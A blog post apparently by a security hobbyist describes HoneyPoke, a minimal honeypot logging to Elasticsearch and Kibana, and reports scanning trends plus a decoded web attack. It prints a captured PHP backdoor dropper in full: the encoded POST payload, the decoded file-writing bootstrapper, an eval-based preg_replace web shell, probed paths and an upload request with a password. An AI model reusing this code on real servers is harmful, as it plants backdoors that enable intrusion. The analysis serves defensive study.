The internet is a big and busy place. Attacks and scans are constantly going on from around the world. It’s a good idea for anyone in cybersecurity to get an idea of what’s going on. What vulnerabilities are being looking for? What targets do attackers scan for? What services are commonly attacked? I wanted to get a better idea of the answers of these questions. Cybersecurity professionals use honeypots, fake systems that pretend to to be real systems, to analyze what attackers are looking for. High-interaction honeypots try to appear as realistic as possible to attackers, imitating vulnerable systems, industrial systems and websites. Other honeypots are much less complicated, and may focus on certain services or serve as a warning device.
However, I was interested in something much simpler, but much more informative. I wanted to cover as many services as possible and not have to worry about keeping up a front for an attacker. I just wanted to know what services were being poked at and possibly what data was being sent. It would need to be simple and lightweight, but also able to gather data to be analyzed. The analysis part was important, because without it, the stream of data from such a honeypot would be useless with out ways to sort, analyze, view, and visualize it. Thus, HoneyPoke was born.
What is HoneyPoke
HoneyPoke is a simple Python-based honeypot (Later changed to Go). All it does is set up listeners on given ports, but it doesn’t respond to anything, it just records who connected to what port and what data they sent it. No response is sent. For the analysis of this data, I sent the data to an ElasticSearch instance to be visualized with Kibana. However, binary data, and larger inputs are not sent to ElasticSearch for the sake of space and not crowding out other data when viewing it in Kibana.
My Setup
I set up a HoneyPoke instance on a DigitialOcean droplet, and had it send its recordings to another droplet which contained ElasticSearch and Kibana. ElasticSearch and Kibana were protected with HTTP authentication and run over TLS. Very quickly, I was getting connection attempts on HoneyPoke, with the results appearing in Kibana. Thus it began. I later expanded to more HoneyPoke instances.
Analysis
With Kibana, I was able to easy sort and visualize my data. The extensive filtering makes it easy to get the data you want. After running HoneyPoke for awhile, here are some of the findings:
Top Ports
As you can see in the image, remote console services, SSH (22), VNC (5900), RDP (3389) and telnet(23), are the most popular ports. Most of the SSH connections are from China (see the next section). It is also interesting to see that telnet is still being poke at. This may have to do with the Mirai botnet, which attempts to brute force telnet on Internet of Things (IoT) devices. Even so, most connections to telnet do not even attempt to put in any input, which is unfortunate. I would like to see what they are trying to run. Web services, such as port 80, port 8080 and 443 are also quite popular.
China Likes SSH
One thing I quickly noticed was the attention given to port 22, SSH. Many of these came from a particular address, 116.31.116.52. A quick Google search showed this address is from China, and is already notorious for this behavior. This isn’t the only address from China though. China can’t seem to stop trying to SSH to my box, even though it has already shown it’s not a full SSH server. At one point, over one week, this address had tried to connect to SSH over 7000 times (See the image below)! With filtering, I can hide these results so they don’t choke out other data.
Webcrawlers Galore
Another trend I noticed quickly was the Webcrawlers. It seems I may have the address that once belonged to a website called www.vapetech.mx
, since I keep getting crawlers asking for this site. Again, filtering really helps to remove all the extraneous Webcrawler traffic.
I Must RDP!
Sometimes, some funny things occured, such as one instance where one very persistent attacker kept attempting to RDP into the honeypot for 6 hours, averaging around 80 connections an hour. They all came from one address. I must give props for the persistence of the person or script behind this, but also question the sanity of the author of this attack. I suppose they were attempting to brute force credentials, but it seems after at least an hour, you would see that you’re getting no responses and get the idea that this RDP server is a not a real RDP server.
Web Server Madness
Port 80 and 8080 are very popular ports, and due to the stateless nature for HTTP, makes for some great input collections. I saw one attacker, hidden behind a Cloudflare address (162.158.234.18
), attempt to attack the web ports with a variety of things.
The first things I noticed was the url the attacker tried to access. They all had a format similar to this:
/install.php?z3=N0t5WDR0LnBocA%3d%3d&z4=Lw%3d%3d
The paramaters are base64 encoded, and are 7KyX4t.php
and /
respectively. They seem to be looking to create a neat litle backdoor. Some of the requests were POST messages with a payload. When this was url decoded, I got this:
e=@eval/**/(${'_P'.'OST'}[z9]/**/(${'_POS'.'T'}[z0]));&z9=BaSE64_dEcOdE&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyRucGF0aD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkJhU0U2NF9kRWNPZEUoJF9HRVRbJ3o0J10pO2Z1bmN0aW9uIGNyZWF0ZUZvbGRlcigkcGF0aCl7aWYoIWZpbGVfZXhpc3RzKCRwYXRoKSl7Y3JlYXRlRm9sZGVyKGRpcm5hbWUoJHBhdGgpKTtta2RpcigkcGF0aCwgMDc3Nyk7fX1jcmVhdGVGb2xkZXIoJG5wYXRoKTtlY2hvKCItPnwiKTs7JGM9JF9QT1NUWyJ6MiJdOyRmPSRucGF0aC5CYVNFNjRfZEVjT2RFKCRfR0VUWyJ6MyJdKTskYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTskYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTskYnVmPSIiO2ZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTIpJGJ1Zi49dXJsZGVjb2RlKCIlIi5zdWJzdHIoJGMsJGksMikpO2VjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z2=EFBBBF3C3F70687020282473756E203D20245F504F53545B273132333435275D292026262040707265675F7265706C61636528272F61642F65272C2740272E7374725F726F743133282772696E7927292E27282473756E29272C202761646427293B3F3E6C736C666A73646C666B6A73646A6C665344466C666A7037393334393337343935373324252324405E40255E534B4A444648484A4C4A4B44464C4A4C4A474C4B4A4A204C5156524A4C515745524C515757455224252526252640252324255E25265E262A2A262829282925402421232525
This payload has two parts, a base64 portion, and some other blob of data. First, let’s decode the base64 portion. When decoded and formatted, we get this:
@ini_set(\"display_errors\", \"0\");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
$npath = $_SERVER['DOCUMENT_ROOT'] . BaSE64_dEcOdE($_GET['z4']);
function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777);
}
}
createFolder($npath);
echo (\"->|\");;
$c = $_POST[\"z2\"];
$f = $npath . BaSE64_dEcOdE($_GET[\"z3\"]);
$c = str_replace(\"\\r\", \"\", $c);
$c = str_replace(\"\\n\", \"\", $c);
$buf = \"\";
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode(\"%\" . substr($c, $i, 2));
echo (@fwrite(fopen($f, \"w\") , $buf) ? \"1\" : \"0\");;
echo (\"|<-\");
die();
This appears to be a backdoor bootstrapper as it appears to decode the second parameter, z2, then write it to a file 7KyX4t.php
. I extracted the decoding function to create a script like this:
$c = \"EFBBBF3C3F70687020282473756E203D20245F504F53545B273132333435275D292026262040707265675F7265706C61636528272F61642F65272C2740272E7374725F726F743133282772696E7927292E27282473756E29272C202761646427293B3F3E6C736C666A73646C666B6A73646A6C665344466C666A7037393334393337343935373324252324405E40255E534B4A444648484A4C4A4B44464C4A4C4A474C4B4A4A204C5156524A4C515745524C515757455224252526252640252324255E25265E262A2A262829282925402421232525\";
$c = str_replace(\"\\r\", \"\", $c);
$c = str_replace(\"\\n\", \"\", $c);
$buf = \"\";
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode(\"%\" . substr($c, $i, 2));
echo(\"$buf\");
After running this, I got an output of the following code:
($sun = $_POST['12345']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($sun)', 'add');?>lslfjsdlfkjsdjlfSDFlfjp793493749573$%#$@^@%^SKJDFHHJLJKDFLJLJGLKJJ LQVRJLQWERLQWWER$%%&%&@%#$%^%&^&**&()()%@$!#%%
This appears to create a backdoor which uses the eval flag for preg_replace. This flag has been deprecated for PHP 5.5.0 [See Here](ttp://php.net/manual/en/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval). The preg_replace eval is used to eval the rot13 string, riny, which is also eval. This means we have two evals. Eval-ception! (Seems like there is some extra stuff at the end, maybe to throw people off?)
The attacker or bot, which seems a bit more likely, attempts this multiple times on different paths, probably looking for a code execution vulnerability to take advantage of. Some URLs include:
/wp-content/plugins/Analyser.php
/bookmark.php
/RoseLeif.php
/wp-cache.php
/SessionController.php
/administrator/dbconfig.php
/media/reads.php
After this, they attempt to use some other backdoor or vulnerability. These requests looked like this:
GET /go.php?x=upload&mode=upload&upload=&ssp=RfVbHu&u=&action=upload&chdir=./&do=upload&pass=wcwc2016&login=go%21&H=
Either way, we now have a password of wcwc2016
. Thanks attacker! There were many attempts like this.
At some point, I plan to have a more robust HTTP honeypot to hopefully get more cool stuff like this.
As an added bonus to my honeypot adventures, I happened to have HoneyPoke running during the time when the Mirai botnet had just added an exploit for Zyxel routers. This exploit used a SOAP service on port 7547. I added this port to my bunch of listeners, and, behold! I got exploit attempts. Pretty cool!
Conclusion
This simple honeypot was able to give a lot of great information, especailly with Kibana to visualize and search the data. I plan to work on some other Honeypot applications to get more detailed and targetted information. I’ll post about those when I finish them. If you’re interested to doing this yourself, more info on the HoneyPoke project is available here. Let me know if you have any comments or suggestions.